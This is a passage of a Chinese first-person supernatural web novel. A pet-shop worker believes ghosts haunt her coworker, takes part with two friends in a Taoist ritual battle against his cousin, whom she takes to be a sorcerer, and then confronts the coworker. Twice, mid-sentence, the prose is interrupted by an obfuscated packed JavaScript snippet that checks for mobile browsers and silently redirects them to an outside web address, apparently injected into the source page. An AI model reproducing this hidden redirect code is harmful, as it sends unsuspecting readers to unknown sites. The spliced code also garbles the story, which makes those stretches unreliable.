“嗯,知道了。”我回复得顺从,可一股强烈的不安却像藤蔓般缠绕住我的心脏。它们还在这里吗?这个念头一旦升起,就再也无法按捺。趁小凡低头打扫笼舍的间隙,我假装玩手机,快速对着他拍了一张侧身照,发给了墨宇,配文简单直接:“你看看,那两个东西还跟着他吗?” 等待回复的几分钟,像一个世纪那么漫长。手机终于震动了一下。 墨宇的回复只有一个字,却重若千钧: “在。” 嘶—— 我猛地吸了一口凉气,全身的汗毛瞬间倒竖!一股冰冷的恐惧感从脚底直冲天灵盖!还在!它们真的还在! 并不是我疑心。墨宇和千尘,他们真的看到了我所看不到的东西!而那两个“东西”,此刻就与我朝夕相处的同事如影随形! 恐慌之余,一种近乎偏执的探究欲冒了出来。我再次走到小凡身边,努力让自己的语气听起来像是普通的关心:“小凡现在有什么感觉吗?有头晕不舒服吗?” 小凡猛地直起身,手里的扫帚“哐当”一声掉在地上。他脸上是毫不掩饰的烦躁与抗拒:“楠木姐!你有完没完!我说了我没事!我很好!不要再问我这些奇怪的问题了!那个神棍说什么你就信什么吗?” 他的声音因为激动而有些尖锐,在安静的店里显得格外刺耳。 那堵名为“不信任”的墙,彻底将我们隔开。我讪讪地退开,心里默念着“尊重他人命运”,可那该死的好奇心和担忧却混合成一种复杂的情绪,驱使我再次点开墨宇的对话框:“他这个……能查到是什么原因被跟上的吗?” 过了好一会儿,墨宇的回复才过来,带着一种洞悉因果的冷静:“那对母子是在附近十字路口游荡的孤魂,你们店刚好在路口旁边,磁场混乱,容易吸引这些东西。再加上你同事最近熬夜,精神不济,阳气弱,就像黑夜里的灯泡,它们会被自动吸引过去。” “那……如果他不处理,长期下去,会对他有影响吗?” 我问出了最担心的问题。 “当然有。”墨宇的回复毫不委婉,“鬼乃阴秽之物,活人秉阴阳二气而生。阴物长期附身近体,会不断吸食阳气,侵蚀生机,导致阴阳严重失衡。轻则运势低迷,百事不顺,重则疾病缠身,精神耗竭。但是,他既然不信,我也爱莫能助。” 同事一场,我最终还是没能忍住,在小凡心情稍好时,又一次委婉地提醒他,或许可以找人看看,哪怕不求墨宇。这一次,小凡没有立刻发作,但他看我的眼神,充满了无奈和疏离。 随后几天,变化是肉眼可见的。小凡脸颊两侧,那抹不正常的黑气愈发浓重,像是被人用淡淡的墨汁渲染过,连眼窝都深陷下去。他原本是个活泼的小伙子,现在却常常沉默寡言,精神恍惚。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908330|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你脸色真的很差,要不要休息一下?”我忧心忡忡。 “我天天熬夜,怎么可能好。”他摆摆手,语气疲惫不堪,带着一种认命般的麻木。 “你真的不要……” “不用!我没事!”他像是被触动了某个开关,声音陡然提高,带着一种濒临崩溃的焦躁。 我彻底闭上了嘴。然而,更让我心惊的是,那对母子阴灵的影响,似乎开始扩散了。 我开始在店里清晰地感觉到一种异样。独自在二楼整理药品时,后颈会无缘无故地泛起鸡皮疙瘩,仿佛有一道冰冷的视线黏在背上,猛地回头,却只有空荡荡的走廊。去一楼的卫生间,越是靠近,那股子阴冷的气息就越发明显,不是空调的冷,而是一种能渗进骨头缝里的、带着潮湿霉味的寒意。那段时间的午休,每次都在迷迷糊糊中,感觉有个矮小的黑影蹲在墙角,一动不动地“看”着我,我想尖叫,却发不出声音,想动弹,身体如同被缚,最后是心脏一阵剧烈的绞痛让我猛地惊醒,浑身冷汗淋漓。 这种体感,以前最多是梦境,现在却如此直接、凶猛地侵入了现实! 我实在忍受不了了,求助于墨宇,让他有空来看看,那对母子还在不在店里。 墨宇勉为其难的过来了,在店里巡视一圈后告诉我说:“这次看清楚了,那个女人还挺高的,长发及腰,白裙子,一直紧贴着你同事小凡背后呢,那个小孩子倒是没和那女人在一起,刚才我去卫生间看时,发现他正双手抱着腿蹲坐在厕所转角那里呢。” 我听完又是一阵鸡皮疙瘩起来,心想看来这段时间的异常并不是我的错觉,于是问墨宇是否有解决的办法。 墨宇回答说:“看在你的面子上,我可以帮他免费解决,但是前提是他要同意,毕竟是需要他配合的,否则我也处理不了。” 我想了想,决定找个机会最后再问一次小凡,毕竟他这事情已经不单单是影响他了,已经影响到我了,并且我觉得这件事拖下去对他也不是好事儿,于是跟他又提了一次。 果不其然,小凡的反应如我预料的一样很激动,并且对我直白的说道:“我本就不信这些鬼鬼神神,就算真有,我要处理也不会找他处理!我表哥祖孙三代都是修XX派法门的法师!我这次休假,会去找他看一看,所以就不劳你费心了。” 我听完心里也有些不舒服,但也理解他的反应,只是这件事儿的初心是我希望他不要出事儿才多次劝说的,没想到会招来如此反感。也突然间明白千尘劝我不要参与他人因果这件事的意思了,但是当时小凡既然说他会去处理,我也就不去与他言语再计较什么了。 同事阿青看到我们交谈后,见我的脸色不好,就悄悄把我拉到仓库,脸色发白,压低声音说:“楠木姐……是不是真的有鬼啊,我前段时间好像也看到了……” “看到什么?”我的心一下子提了起来。 “就前两天,我在大厅打扫卫生,小凡朝我走过来,就那么一眨眼功夫,我好像看到他背后……紧贴着他,站着一个女人,个子挺高,大概比他高了半个头,长头发,穿着件白色的……像是裙子又像是袍子的衣服,看不见脚,但是太快了,就一闪而过,我还以为自己眼花了……她的声音带着颤,手也无意识地攥紧了衣角。 又一个目击者! 虽然只是惊鸿一瞥,但描述再次吻合! 我身上的鸡皮疙瘩一层层地冒出来。唯物主义的基石,在我心中一块块地松动、崩塌。这不再是“可能”或者“巧合”,多个来源的交叉印证,指向了一个让我不得不信服的、幽暗惊悚的“现实”,真的有鬼!还跟着他! 接着小凡请了两天假,休假回来后,令人惊讶的是,他脸颊那层萦绕不散的黑气竟然消失了,虽然还有些疲惫,但眼神清亮了不少,整个人看起来轻松了很多。 我心中一喜,以为问题解决了,连忙说:“气色好多了嘛!事情解决完了吗?你表哥怎么说?” 小凡看了我一眼,眼神里带着一种如释重负,甚至有点扬眉吐气的意味,语气却有些阴阳怪气:“我表哥说了,我身边干干净净,什么都没有!他可是正经XX派的法师,他说做法事都要开坛禀奏的!他也帮我仔细看过了,说我就是心理压力大,自己吓自己,让我好好睡一觉就没事了!那个什么墨宇,就是个不学无术、胡说八道的江湖骗子!” 我愣住了。他表哥的结论与墨宇、千尘的描述截然相反。该信谁?亲表哥的权威?还是那两个“神棍”的一致说辞?小凡选择相信他的亲人,这无可厚非。 “没事就好,没事就是好事。”我扯出一个笑容,将所有翻腾的疑虑压回心底,不再多言。店里的氛围似乎也随着小凡的“康复”而恢复了正常。 我天真地以为,这场意外的风波就此平息,一切又将回归正常的轨道。 然而,我错了。 这看似结束的序曲,恰恰是一场命运齿轮疯狂转动的信号…… 18. 被迫斗法 本以为小凡的正常回归,会让我的生活恢复平静。可恰恰相反,一种无形的疲惫感如附骨之蛆,深深缠绕着我,具体又说不上来是哪里的不适,但身体就像一块被慢慢榨干水分的海绵,日益沉重,只有在清晨练完金刚功后,会短暂地感到一丝清明,如同迷雾中透进一缕微光。可一到下午三点半后,那股不对劲的感觉便卷土重来——一种源自骨髓深处的寒意,混合着莫名的烦躁和精力不济,让我甚至怀疑自己是不是得了什么查不出的怪病,心里那时还盘算着该去医院做个全面检查。 打破这诡异平静的,是千尘的一次聚餐邀约,下班后,我和知南开车一同前往,踏入千尘家,温暖的灯光和饭菜的香气本该让人放松,可我的目光却被鞋柜上随意放置的一副枣木卦牢牢吸住。那卦身油润,纹理古朴,隐隐透着一股说不清道不明的力量感。 千尘正在厨房忙碌,我拿起那副卦,心头的好奇蠢蠢欲动,大声问道:“千尘,这个卦,能不能让我抛一次试试?” 千尘从厨房探出头,无奈地笑了笑:“墨宇送我的,我自己还没碰过呢。你想试就试吧,小心别摔坏了。”说完又转身投入锅碗瓢盆的交响曲中。 我兴奋地看向知南,用眼神邀请她一起,她却连连摆手,表示对此不感兴趣,由于是第一次掷杯,我心里生怕弄坏,特意蹲下身,手腕用着巧劲,极其轻柔地将卦往低处一抛。 “啪嗒——咔!” 一声清脆又诡异的声响炸开在寂静的客厅里。只见那副卦落地时,一边竟如同被无形的利刃劈开,竖着碎裂成两半,断面崭新;而另外一半,却违背常理地、稳稳地直立在地板上,纹丝不动。 我瞬间傻眼,脑子里第一个念头是:这东西质量也太差了吧?轻轻一碰就碎了? “千尘!你快来看!”我提高声音喊道,“这卦怎么回事?咋摔裂了!墨宇送的这质量不行啊!” 千尘闻声,急匆匆地从厨房冲出来,手里拿着锅铲,围裙都来不及解。当她看到地上那诡异碎裂又直立的一瓣卦时,脸上的血色褪去少许,眼神瞬间变得凝重:“天呐!这……这什么情况?”她蹲下身,仔细查看那诡异的断面和直立的那半,声音带着一丝不易察觉的颤抖,“你……你快打视频给墨宇看看!这感觉……不太妙!” 被她凝重的语气感染,我心里那点“质量不好”的侥幸也烟消云散,一股隐隐的不安爬上心头。但我还是强作镇定,装作若无其事地拨通了墨宇的视频通话。 屏幕亮起,墨宇似乎刚洗完澡,头发还湿漉漉的。“咋了啊,大晚上的,有何贵干?”他语调轻松。 我二话不说,直接将摄像头对准了地面上那副诡异碎裂的卦。 视频那头沉默了两秒,随即传来墨宇拔高的惊呼声:“卧槽!你招惹谁了啊?!”他的声音带着前所未有的急切,“你快!快把摄像头对准你自己!” 我被他一惊一乍弄得莫名其妙,但还是依言将镜头转向自己的脸,嘟囔道:“咋了?你卦质量不行,你看我干啥?我可没使劲摔啊!” 屏幕里的墨宇,眉头紧紧锁起,眼神锐利得像要穿透屏幕。他死死盯着我,语气严肃得近乎冰冷:“楠木姐,你有没有发现……你面相变了?” “面相?”我一愣,下意识地看向手机屏幕里的自己。镜中的脸似乎还是那张脸,但又隐隐有些陌生。 “你的眉眼都在往上挑,眼神……很凶。”墨宇一字一顿地说。 我盯着看了半天,除了觉得脸色差些,并没看出什么名堂,于是叫来了旁边的知南:“知南,你来看看,我面相有改变吗?” 知南凑近,仔细端详着我的脸,几秒后,她迟疑地点点头:“是有点……楠木,你眼神看起来是有点凶,眉毛和眼角好像也确实比平时挑了一点……你怎么了?” 说实话,经他们这么一说,我才意识到,自己心里确实萦绕着一股“平静的愤怒”,一种无源无由,却沉甸甸压着的火气。但我还是打趣道:“你刚问我招惹谁了?为什么这么问?我你是知道的,向来与人为善,能得罪谁?” 墨宇没有接我的话茬,而是继续指令道:“你现在,去打一盆清水,放到阳台位置,然后把摄像头转过去,对着那盆水让我看一下。” 我满心疑惑,但看他如此郑重,还是照做了。端来一盆清水放在阳台的地上,将摄像头对准了平静的水面。 视频那头的墨宇凝神看了许久,水面在灯光下映出模糊的光影。终于,他抬起头,透过屏幕看着我,语气沉重得像坠了个铅块:“楠木姐,有个法师在做法害你!而且,店里那对母子,现在就在你身边!” “什么?!”我身体猛地一僵,一股恶寒从尾椎骨直冲天灵盖,全身的汗毛瞬间倒竖起来!然而,与身体的恐惧相反,我心里那股“平静的愤怒”却陡然升腾,几乎要压过恐惧。我听到自己的声音异常冷静,甚至带着一丝冰冷的怒意:“法师?我根本不认识什么法师!到底是怎么回事?” “电话里说不清楚。”墨宇当机立断,“我得过来一趟,你等会儿过来接我吧,可能还需要准备一些东西来应对,我把清单发给你,你先去买。”说完,他便干脆利落地挂了电话。 千尘全程听到了我们的对话,她走到我面前,表情前所未有的严肃,她仔细看着我的脸,倒吸一口凉气:“刚才你进来,我在忙没注意……你现在这面相……确实变了!凶神恶煞的!店里那对母子怎么会跟着你?小凡那边不是说已经送走了吗?” 我无力地摊开手,苦笑道:“我也是一头雾水啊。” 这时,手机震动,墨宇的消息来了,清单列得清晰:香烛、纸钱、20斤大米、大红布、朱砂笔、黄纸、桃木枝。我在家先收拾下,你们采买好就过来接我。 “知南,你和我一起去买东西接墨宇吧。”我转头看向知南,她立刻点头。千尘则说:“我在家先做饭,你们等会儿回来吃。” 我和知南立刻出发。夜晚的市区,霓虹闪烁,却透着一股说不出的冷清。我们好不容易找到一家还在营业的丧葬用品店,店内昏黄的灯光和弥漫的香烛纸钱气味,让气氛更加凝重。按照清单采买齐全,又去小超市买了20斤大米,和其他物品一起搬上车后,我们便朝着墨宇家的方向驶去。 诡异的是,明明之前去过他家,路线也算熟悉,可那天晚上,这段路却变得格外漫长。车窗外的景物仿佛被拉长、扭曲,路灯昏黄的光晕连不成片,像是永远也开不到头。更让我脊背发凉的是,我总感觉车的后座上……坐着“人”。一种被凝视的黏腻感如影随形。我时不时地透过后视镜飞快瞥一眼,后座上空空如也,只有采购的物品。然而,镜子里映出的我自己的眼睛,却让我感到陌生——眼角确实不自然地向上挑着,眼神冰冷,带着一股我自己都感到心悸的凶狠。 墨宇已经在路边等候,身影在夜色中显得有些单薄。他拉开车门坐上后座,几乎是同时,他眉头一皱,低声喝道:“好家伙,你们还敢跟过来!” 我扭头正莫名其妙准备发问,就见他双手迅速掐诀,指尖仿佛有无形的气流缠绕,口中念念有词,最后清叱一声:“破!” 随着这声“破”字出口,车内那种无形的压抑感和被凝视感骤然一轻,仿佛有什么东西被瞬间驱散了。墨宇舒了口气,对我们说:“你们来的时候没觉得奇怪吗?车上跟了点脏东西,估计就是那个法师派来捣乱的!不过没事了,现在有我在,你放心开。” 我听完,心里那股奇异的“平静的愤怒”再次占据上风,恐惧感反而被压了下去。我沉默地点点头,握紧方向盘,一路无话,这次车子顺利又快速地开回了千尘家。 进门清点物品,发现唯独少了桃木枝。正当我们发愁之际,千尘主动说:“你们先吃饭,我去公园摘几根,我知道哪几棵树年头久,灵气足。”说完,她便匆匆出门。 此刻,家里只剩下我、知南和墨宇三人。墨宇让我们两个先吃饭,养好精力,随即他立刻进入状态,开始布置,他先将那块醒目的猩红色大布,悬挂在阳台与客厅连接的门框上方,作为坛前幕布,随后,在正对着阳台红布的位置,摆放了一个长条桌,又在长条桌的尾端加了一个短桌,整体构成了一个倒写的“T”字形法坛。 随即又拿出几个一次性纸杯,盛满晶莹的大米。接着,用三根线香作为支架,准备将纸牌位套进香中,然后立在盛满米的杯中,做成了可移动的临时牌位。他又小心翼翼地将雪白的大米在桌面上撒出南斗六星与北斗七星的图案,每一个星点位置,还对应放置了一盏小小的、跳动着火苗的蜡烛。 香炉被郑重地放置在法坛中央,烟气袅袅升起。墨宇安排了知南等会儿守在金属焚烧桶旁,负责随时焚烧纸钱和符纸。 也就在准备这些时,千尘回来了,她推门而入的瞬间,一股肉眼几乎可见的寒气裹挟着她涌进屋内,让室温都仿佛骤降了几度。她脸色煞白,更骇人的是,眉宇间笼罩着一层挥之不去的戾气,眼神锐利如刀。 我吓了一跳,忙问:“千尘,你怎么了?” 千尘语气异常平静,甚至带着一丝冰冷的杀意,回答道:“路上有几个不长眼的东西想拦我,顺便‘整’我一下。不过没事了……”她顿了顿,嘴角勾起一抹冰冷的弧度,“它们已经没了。呐,桃木枝带来了,给。” 她将几根带着湿冷夜气的桃木枝递给墨宇。墨宇接过后,分别又递给我和千尘一人一根,沉声吩咐:“桃木枝拿稳了,等会儿大有用处,我说动手时,你们就拿着这个抽它们就行!” 千尘对此似乎毫不意外,冷静地接过,仿佛握着的不是桃木枝,而是一柄利剑。我握着这根略显粗糙的木枝,心里一片茫然,虽不懂墨宇的意思,但还是依言握紧,心想到时候跟着指令做就是了。 正当我愣神,突然听到,“来,帮帮忙,多画一些雷符,以备不时之需!”墨宇说着,率先拿起三张黄纸,分别画下了五雷符、天雷符、地雷符作为样本。不得不说他画符的姿态行云流水,自带一股韵律,只是那落在纸上的字迹……实在是充满了某种“传统意义上”的抽象美感,让我忍不住在心里默默吐槽。 千尘探头看了一眼,毫不客气地吐槽道:“你这符画的……祖师爷见了都得让你去跪三炷香反省。” 墨宇老脸一红,嘴硬道:“你懂什么,心诚则灵,法力到了就行!” 千尘撇撇嘴,不再多说,手下却丝毫不慢。她执起朱砂笔,深吸一口气,眼神瞬间变得专注而空灵。只见笔尖如游龙走蛇,唰唰唰,一道道结构严谨、灵力内蕴的符箓便在她笔下迅速生成,效率极高。 我也尝试着照猫画虎地画了两张,千尘斜眼一看,直接点破:“你没渡炁进去,这符就是一张废纸,没用。” “渡炁?怎么渡?”我疑惑地问。 “意守丹田,凝聚自身之炁,引炁上行,过手臂,贯注笔尖,最后落于符纸,神与符合。”千尘简洁地解释。 “我……我不会啊。”我有些沮丧。 “算了,我来吧。”千尘拿过我手中的笔,“你去帮墨宇写牌位。” 我点点头,转向墨宇询问需要书写哪些神祇的名号。 墨宇报出一连串名号:“玉清元始天尊之位,上清灵宝天尊之位,太清道德天尊之位,先天斗姆元君之位,北极真武大帝之位,九天应元雷声普化天尊之位。这些就够了,写好后我来摆放方位。” 我铺开黄纸,提起朱砂笔,凝神静气,一笔一划地认真书写。写完后,墨宇将这些牌位按照特定的仪轨,恭敬地安放在供桌的不同位置。他焚香祷告,神情虔诚。随后,他抱着斗姆元君的牌位走到入门处,手捧茭杯,恭敬请示,抛出的茭杯一正一反,正是“圣杯”。他点点头,将牌位安置在此。接着,真武大帝牌位被请至客厅中央,雷声普化天尊牌位面朝阳台放置,三清牌位则稳坐主供桌,不动如山。 一切准备就绪,法坛之上,烛火摇曳,香烟缭绕,气氛凝重得仿佛能滴出水来。墨宇站在法坛最前方,身形挺拔,如临大敌。我按照吩咐,站在他的右后方,千尘则立于他的左后方,靠近焚烧桶。我的旁边是冰冷的墙壁,身后是空无一人的沙发区域。 “等会儿,你来诵经,”墨宇对我交代,语气不容置疑,“我需要集中精神对付对方。你们俩,注意观察红布,看会不会有东西显化出来。” 我们齐齐点头。这是我第一次参与斗法,心里不免有些紧张。又是由我来吟诵早晚课经文,听了这么久,这还是我第一次亲自开口唱诵,刚起了个调,开口吟唱出澄清韵第一句,一股强烈的体感便猛地压了下来!全身过电般发麻,原本的紧张情绪竟被一种奇异的、冰冷的平静所取代,而那股一直被压抑的愤怒,此刻如同被点燃的干柴,轰然占据了我的全部心神! 我盯着经书,一字一句地吟诵着,声音在寂静的房间里回荡。突然—— “唉……” 一声清晰无比、充满疲惫与阴郁的男人叹息声,毫无征兆地在我右后方响起! 我头皮不受控的一炸,头不敢动,眼神瞟了过去——身旁空无一人! 是错觉吗?我强压心悸,拉回注意力,继续诵经。 “……唉!” 就在下一秒!那声叹息仿佛贴在了我的耳廓上炸响,冰冷的气流甚至吹动了我的发丝! 我整个人僵在原地,汗毛根根倒竖,握着桃木枝的手心沁出冷汗,几乎要忍不住回头胡乱抽打。 就在我犹豫要不要动手的当口,前方的墨宇猛然睁眼,精光四射,厉声喝道:“来了!动手!” 命令一下,我再也顾不得许多,凭着感觉,拿起桃木枝就朝着身体四周,特别是右后方的空气奋力抽打!视线余光中,只见墨宇和千尘动作迅捷如电,他们不像我这般胡乱挥舞,而是步伐稳健,手法凌厉,或劈、或刺、或扫,仿佛真的在与一个个看不见的透明敌人进行殊死搏斗!他们的动作极有条理,格挡、反击、闪避,空气中传来“噼啪”的破空声,以及某种若有若无、令人牙酸的尖啸! 我什么都看不见,只能咬着牙,更加卖力地挥舞桃木枝,朝着感觉中阴冷的方向猛抽。 这样混乱而激烈的状况持续了大概几分钟,突然间,异变再生! 客厅里,毫无征兆地刮起了一阵阴风! 门窗紧闭,这风从何而来?!阴风呼啸,吹得烛火明灭不定,疯狂摇曳,险些熄灭;悬挂着的红布被吹得剧烈翻飞,如同血浪波涛;香烟也被打散,四处飘散。一股更加强大、更加阴寒的气息笼罩了整个空间! “他的兵马来了!烧符!扔它们!”墨宇的声音在风中依旧清晰,带着不容置疑的决断。 知南闻言,立刻将大量纸钱投入焚烧桶,火焰“轰”地一声窜起老高。因为我看不见,随即也蹲在桶边,拿起千尘画好的雷符,一张接一张地投入火焰。每烧掉一张符纸,那火焰就仿佛被注入了狂暴的能量,猛地向上窜起,颜色甚至带上了一丝诡异的紫红色,同时似乎能听到隐隐的雷鸣之声在火焰中炸响! 千尘和墨宇一边与无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908331|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形的“兵马”搏斗,一边抓起我烧过后仿佛被赋予了某种力量的符灰(或是其他看不见的法器),朝着红布的方向,或是房间的某个角落奋力投掷。 “千尘姐啊!”墨宇突然怪叫一声,身体以一个极其别扭的姿势猛地一扭,仿佛躲开了什么无形的东西,“你看清楚扔啊!你这个大雷团差点砸到我!还好我躲得快!” 我们听闻都是一愣,这紧张的关头还有这种插曲? 千尘手里忙活着没停,脸上不好意思地笑了笑:“哈哈哈,手滑,手滑!不好意思……” 这诡异又带点滑稽的一幕,并未冲淡现场的凶险。我和知南虽然看不见敌人,但能清晰地感觉到身边的温度在骤降,阴冷的气流如同毒蛇般在腿边缠绕,耳边充斥着各种难以辨别的、充满恶意的嘶鸣和低语。 这场人眼无法完全窥见的激烈斗法,又持续了将近十分钟。终于,房间里的阴风渐渐平息,翻飞的红布缓缓垂落,摇曳的烛火也恢复了正常的跳动。墨宇和千尘停下了动作,额头上都沁出了细密的汗珠,胸口微微起伏,气息有些不稳,显然消耗极大。 “结……结束了吗?”我疑惑道。 墨宇抹了把汗,脸色稍缓:“暂时结束了。那边的法坛被我们借力毁掉了,那个法师硬接了几道反噬的雷法,估计也受了不轻的伤,他的兵马已经退了。”他目光转向我,带着一丝疲惫,“楠木姐,接下来,就要你自己来处理了。” “我?”我疑惑不解,“我什么都不会啊!怎么处理?而且我连那个法师是谁都不知道!” 墨宇指了指真武大帝的牌位和地上的茭杯:“你跪在真武大帝牌位前,诚心问卦。我站在旁边,帮你解读卦象含义。”(他快速解释了卦象:圣杯一正一反为“是”,阴卦两反为“不是”,阳卦两正为“不一定”)。 我依言拿起那副饱经沧桑的茭杯,跪在真武大帝牌位正前方,恭恭敬敬地磕了三个头。抬起头,看着这简陋的神位,感觉里面透露着威严,我一时有些迷茫,低声问墨宇:“我……我该怎么问?” “心里想清楚你的问题,然后抛出去即可。一次一问。”墨宇在我身侧指导。 我点点头,深吸一口气,稳住微微颤抖的手,开始了询问: ‘这个法师,和我有关系吗?’ 我将茭杯合十,心中默念问题,然后轻轻抛向地面。 茭杯落地,一正一反。 ——圣卦。是。 我的心猛地一沉。心里起了一个念头,下定决心问: ‘是小凡的表哥吗?’ 再次抛掷。 ——圣卦。是。 果然是他!我强压着翻涌的情绪: ‘他是故意这样子做法害我的吗?’ 茭杯落下。 ——圣卦。是。 连续三个“是”,如同三记重锤,敲得我心头火起!我忍不住抬起头,声音带着压抑的愤怒:“我根本没有得罪过他表哥!甚至都没见过面!为什么他要这样针对我?我就是一个普通人啊!” 墨宇在一旁,闭目感应片刻,复又睁开,代为转述道:“祖师爷示意,是小凡向他表哥诉苦,说你在店里针对他,散布谣言,弄得他心神不宁。他表哥护短心切,又想显摆本事,才出手‘教训’你,想让你吃点苦头,收敛一些。” “我针对他?散布谣言?”我不可置信地瞪大眼睛,一股巨大的委屈和荒谬感涌上心头,“我从来没有!我只是担心他,劝了他几次而已!” 千尘在一旁叹了口气,语气复杂:“楠木,你不能保证你的关心,在别人眼里不是多管闲事,甚至是一种‘针对’。他心眼不大,我之前就提醒过你,不要参与他人因果,你还不听。” 我默然无语,胸口堵得发慌。原来好心,真的会被当成驴肝肺,甚至会引来如此恶毒的报复。我重新拿起茭杯: ‘是否真如墨宇刚才转述的那样?’ ——圣卦。是。 ‘那对母子灵体,现在还跟着我吗?’ ——圣卦。是。 一股邪火冲上头顶,我几乎是咬着牙问: ‘那能直接杀了她们吗?永绝后患!’ 茭杯落地,覆盖在地面。 ——阴卦。否。 “这是什么意思?”我扭头问墨宇。 “意思是不能杀。”墨宇解释道,“她们并非自愿跟着你,也是受那法师逼迫驱使的可怜孤魂,身不由己。需将她们送入地府,方能解脱,也解了你的困局。” 我问:‘是否像墨宇所述?’ ——圣卦。是。 好吧,我承认刚才我是被愤怒冲昏了头,将对法师的怒火迁延到了这对母子身上。我平复了一下呼吸,问出最关心的问题: ‘这个法师,修法害人,难道就没有任何惩戒吗?是否能收了他的法?’ ——圣卦。是。 ‘他的兵马,是否可以全部收走?’ 茭杯落下,两面翻转朝上。 ——阳卦。不一定。 “这又是什么意思?” 墨宇沉吟道:“祖师爷的意思是,不可全部收走。那些随他作恶、动过恶念的兵马可以收走惩戒,但其余未曾为恶、或只是听令行事的,不能牵连。需分辨处置。” 我依言抛卦询问:‘只收走动恶念的兵马?’ ——圣卦。是。 ‘除此之外,没有其他的惩戒了吗?’我心有不甘。 ——圣卦。是。 “这惩戒太轻了!”我压抑的怒火终于爆发出来,猛地站起身,声音带着颤抖,“他做这种害人的事情,肯定不是第一次了!仅仅为了帮表弟出气,就可以对一个普通人动用这种恶毒的法术!品德如此败坏,难道就不怕报应吗?如果我身边没有你们这些朋友,我是不是就活该被他欺负到死?!” 墨宇无奈地按住我的肩膀,试图让我冷静:“楠木姐,收法,对法师来说,已经是极其严厉的惩罚,等于废了他大半的道行。其余的罪业判决,冥冥之中自有记录,待他寿元终了,阴司地府自会一一清算,绝不会姑息。” 我胸口剧烈起伏,虽然明白这个道理,但那股被无辜陷害的愤懑依旧难以平息。我重重地磕了三个头,不再发问。 墨宇又自行焚香,向各位神尊叩谢相助之恩,并请示了一些收尾事宜。随后,他开始有条不紊地收尾:将各位神尊的牌位一一恭敬焚烧,送返天庭;又焚烧了大量的纸钱,酬谢各方神兵护法。 法事彻底结束,房间里恢复了平静,只剩下焚烧桶里未燃尽的纸灰和空气中弥漫的香火气息。但我心里的波澜却远未平息。那股诡异的“平静的愤怒”虽然褪去,但强烈的后怕、巨大的委屈和对人性之恶的震惊交织在一起。 “真的……是小凡的表哥吗?”我喃喃自语,仍觉得这一切如此不真实。 墨宇看向我,语气肯定:“你明天去店里,当面问问小凡,不就清楚了?”他顿了顿,补充了一个关键细节,“对了,刚才斗法时,红布上有短暂显化对方的影像,你没看到吗?一个和小凡长得有六七分像的男人,微胖,圆脸,短发,穿了一件深蓝色的法衣,戴了顶法帽。” 千尘在一旁也点头证实:“我也看到了,确实和小凡很像。” 我看了看他们两人,回想起红布翻飞时似乎确实有过短暂的、模糊的影像晃动,当时情况危急并未留意。此刻,一个念头在我心中坚定下来——明天,我一定要去找小凡,当面对质,证实这一切! 19. 恶人先告状 次日清晨,阳光透过宠物店的玻璃门,在地板上投下明亮的光斑,却照不进我心底的阴霾。我看着小凡像没事人一样在美容室里整理工具,那股被强行压下的怒火和委屈再次翻涌,我深吸一口气,推门进去,顺手将门轻轻带上,隔绝了外面的声响。 室内只剩下我们两人,空气瞬间变得粘稠而紧张。 我努力维持着表面的平静,和语言的平稳,走到他面前,声音不高,却每个字都清晰无比的说:“小凡,我想问你个问题啊,你表哥……是不是和你长得很像?尤其是身形这块?” 小凡正在给吹风机绕线的手顿了一下,他抬起头,眼神里带着毫不掩饰的疑惑和一丝警惕:“你怎么知道?你见过他?” 他这句反问,像一根点燃的引线,瞬间将我努力维持的理智炸得粉碎,心想,果然!千尘和墨宇看到的景象确实如此!连日来的身体不适、昨夜斗法的惊心动魄、以及被最信任的同事背后捅刀子的背叛感,如同火山般喷发出来。 “我怎么知道?”我重复着他的话,声音因激动而微微发颤,之前强装的平静荡然无存,“我有什么地方对不住你吗?小凡!就因为我多关心了你几句,你就要让你表哥用那种恶毒的手段,把那对母子丢到我身边来?!你想让我死吗?!” 我的质问如同连珠炮,小凡的脸色瞬间变得难看至极。他“啪”地一声将吹风机掼在桌上,霍地站起身,脸上涨得通红,怒气冲冲地指着我说:“你瞎说什么!你疯了吧!我表哥说了!我身边干干净净,什么都没有!你听不懂人话吗?!你说这些神神鬼鬼的东西,有证据吗?!拿出来啊!” “证据?”我气得浑身发抖,“我知道你表哥的样貌就是证据!我身上的变化就是证据!难道非要我像你之前那样被折磨得人不人鬼不鬼,才算证据吗?!” 我们的争吵声越来越大,惊动了外面的老板阿健,他急忙推门进来,看到我们两人剑拔弩张、几乎要动手的状态,吓了一跳,连忙上前隔开我们:“怎么了怎么了?好好的怎么吵成这样?都是同事,有话不能好好说吗?” 他先把情绪激动、胸口剧烈起伏的小凡半推半劝地拉出了美容室,又返回来,看着眼眶泛红、强忍着泪水的我,叹了口气,放软了声音:“楠木啊,到底怎么回事?跟我说说。” 我哽咽着,将昨晚从碎卦到斗法,再到问卦确认是他表哥所为的经过,粗略地讲了一遍。情绪激动之下,话语难免有些混乱,但核心意思明确——小凡的表哥因为小凡的片面之词,在用邪法害我。 阿健听完,眉头紧锁,脸上写满了为难和不信。他拍了拍我的肩膀,语气带着安抚,却也透着一种基于现实世界的无奈:“楠木,我理解你现在很生气。但是……你看,你说的这些,毕竟太……太虚无缥缈了。没有实际的证据,对吧?小凡他不承认,我们也没办法。大家都是同事,天天要见面,闹得太僵,以后还怎么共事?” 